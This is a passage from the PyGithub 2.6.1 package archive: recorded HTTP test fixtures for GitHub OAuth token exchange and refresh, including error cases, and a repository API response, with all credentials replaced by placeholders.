'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"access_token":"access_token_removed","token_type":"bearer","scope":""} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ApplicationOAuth.testGetAccessToken.txt0000644000175100001660000000426014756101563025666 0ustar00runnerdockerhttps POST github.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"access_token":"access_token_removed","token_type":"bearer","scope":""} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ApplicationOAuth.testGetAccessTokenBadCode.txt0000644000175100001660000000452414756101563027073 0ustar00runnerdockerhttps POST github.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"error":"bad_verification_code","error_description":"The code passed is incorrect or expired.","error_uri":"https://docs.github.com/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#bad-verification-code"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ApplicationOAuth.testGetAccessTokenUnknownError.txt0000644000175100001660000000420614756101563030260 0ustar00runnerdockerhttps POST github.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"error":"some_unknown_error"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ApplicationOAuth.testGetAccessTokenWithExpiry.txt0000644000175100001660000000441714756101563027727 0ustar00runnerdockerhttps POST github.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"access_token":"access_token_removed","token_type":"bearer","scope":"","expires_in":28800,"refresh_token":"refresh_token_removed","refresh_token_expires_in":15811200} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ApplicationOAuth.testRefreshAccessToken.txt0000644000175100001660000001301014756101563026536 0ustar00runnerdockerhttps POST github.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_secret": "client_secret_removed", "code": "oauth_code_removed", "client_id": "client_id_removed", "state": "state_removed"} 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"access_token":"access_token_removed","expires_in":28800,"refresh_token":"refresh_token_removed","refresh_token_expires_in":15811200,"token_type":"bearer","scope":""} https POST github.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_id": "client_id_removed", "client_secret": "client_secret_removed", "grant_type": "refresh_token", "refresh_token": "refresh_token_removed"} 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 19:28:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Vary', 'X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0a182fcce694870c91b7c96a645b67ec"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com objects-origin.githubusercontent.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events *.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ wss://*.actions.githubusercontent.com github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com objects-origin.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED9C:7D77:4AD94EB:4B9CB5D:6480DA40')] {"access_token":"another_access_token_removed","expires_in":28800,"refresh_token":"another_refresh_token_removed","refresh_token_expires_in":15811200,"token_type":"bearer","scope":""} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenBadCode.txt0000644000175100001660000000454214756101563027752 0ustar00runnerdockerhttps POST github.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_id": "client_id_removed", "client_secret": "client_secret_removed", "grant_type": "refresh_token", "refresh_token": "oauth_code_removed"} 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"error":"bad_verification_code","error_description":"The code passed is incorrect or expired.","error_uri":"https://docs.github.com/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors/#bad-verification-code"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ApplicationOAuth.testRefreshAccessTokenUnknownError.txt0000644000175100001660000000422414756101563031137 0ustar00runnerdockerhttps POST github.com None /login/oauth/access_token {'Content-Type': 'application/json', 'Accept': 'application/json', 'User-Agent': 'PyGithub/Python'} {"client_id": "client_id_removed", "client_secret": "client_secret_removed", "grant_type": "refresh_token", "refresh_token": "oauth_code_removed"} 200 [('Date', 'Fri, 25 Jan 2019 11:06:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Vary', 'X-PJAX, Accept-Encoding'), ('ETag', 'W/"deebfe47f0039427b39ec010749014f6"'), ('Cache-Control', 'max-age=0, private, must-revalidate'), ('Set-Cookie', 'has_recent_activity=1; path=/; expires=Fri, 25 Jan 2019 12:06:38 -0000, ignored_unsupported_browser_notice=false; path=/'), ('X-Request-Id', 'ed8794eb-dc95-481f-8e52-2cd5db0494a0'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Expect-CT', 'max-age=2592000, report-uri="https://api.github.com/_private/browser/errors"'), ('Content-Security-Policy', "default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com www.google-analytics.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com wss://live.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com; img-src 'self' data: github.githubassets.com assets-cdn.github.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com *.githubusercontent.com; manifest-src 'self'; media-src 'none'; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C8AC:1D8B2:126D746:1BF8DE4:5C4AEDBE')] {"error":"some_unknown_error"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Artifact.setUp.txt0000644000175100001660000002364014756101563021560 0ustar00runnerdockerhttps GET api.github.com None /repos/transmission-web-control/transmission-web-control {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"60d4519044dda2b5c9593f4aa02b569a78ec686f39aa039dd00455707d723d9f"'), ('Last-Modified', 'Thu, 01 Jun 2023 07:39:48 GMT'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4680'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '320'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'EB88:1556:436041:46EAA0:64785E28')] {"id":631628708,"node_id":"R_kgDOJaXjpA","name":"transmission-web-control","full_name":"transmission-web-control/transmission-web-control","private":false,"owner":{"login":"transmission-web-control","id":131607464,"node_id":"O_kgDOB9grqA","avatar_url":"https://avatars.githubusercontent.com/u/131607464?v=4","gravatar_id":"","url":"https://api.github.com/users/transmission-web-control","html_url":"https://github.com/transmission-web-control","followers_url":"https://api.github.com/users/transmission-web-control/followers","following_url":"https://api.github.com/users/transmission-web-control/following{/other_user}","gists_url":"https://api.github.com/users/transmission-web-control/gists{/gist_id}","starred_url":"https://api.github.com/users/transmission-web-control/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/transmission-web-control/subscriptions","organizations_url":"https://api.github.com/users/transmission-web-control/orgs","repos_url":"https://api.github.com/users/transmission-web-control/repos","events_url":"https://api.github.com/users/transmission-web-control/events{/privacy}","received_events_url":"https://api.github.com/users/transmission-web-control/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/transmission-web-control/transmission-web-control","description":"maintained fork of ronggang/transmission-web-control","fork":false,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control","forks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/forks","keys_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/keys{/key_id}","collaborators_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/teams","hooks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/hooks","issue_events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/events{/number}","events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/events","assignees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/assignees{/user}","branches_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/branches{/branch}","tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/tags","blobs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/refs{/sha}","trees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/trees{/sha}","statuses_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/statuses/{sha}","languages_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/languages","stargazers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/stargazers","contributors_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contributors","subscribers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscribers","subscription_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscription","commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/commits{/sha}","git_commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/commits{/sha}","comments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/comments{/number}","issue_comment_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/comments{/number}","contents_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contents/{+path}","compare_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/compare/{base}...{head}","merges_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/merges","archive_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/downloads","issues_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues{/number}","pulls_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/pulls{/number}","milestones_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/milestones{/number}","notifications_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/labels{/name}","releases_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/releases{/id}","deployments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/deployments","created_at":"2023-04-23T16:14:17Z","updated_at":"2023-06-01T07:39:48Z","pushed_at":"2023-05-31T22:12:53Z","git_url":"git://github.com/transmission-web-control/transmission-web-control.git","ssh_url":"git@github.com:transmission-web-control/transmission-web-control.git","clone_url":"https://github.com/transmission-web-control/transmission-web-control.git","svn_url":"https://github.com/transmission-web-control/transmission-web-control","homepage":"","size":28072,"stargazers_count":79,"watchers_count":79,"language":"CSS","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":6,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":9,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["transmission","transmission-web-control"],"visibility":"public","forks":6,"open_issues":9,"watchers":79,"default_branch":"master","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"BLANK","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","organization":{"login":"transmission-web-control","id":131607464,"node_id":"O_kgDOB9grqA","avatar_url":"https://avatars.githubusercontent.com/u/131607464?v=4","gravatar_id":"","url":"https://api.github.com/users/transmission-web-control","html_url":"https://github.com/transmission-web-control","followers_url":"https://api.github.com/users/transmission-web-control/followers","following_url":"https://api.github.com/users/transmission-web-control/following{/other_user}","gists_url":"https://api.github.com/users/transmission-web-control/gists{/gist_id}","starred_url":"https://api.github.com/users/transmission-web-control/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/transmission-web-control/subscriptions","organizations_url":"https://api.github.com/users/transmission-web-control/orgs","repos_url":"https://api.github.com/users/transmission-web-control/repos","events_url":"https://api.github.com/users/transmission-web-control/events{/privacy}","received_events_url":"https://api.github.com/users/transmission-web-control/received_events","type":"Organization","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"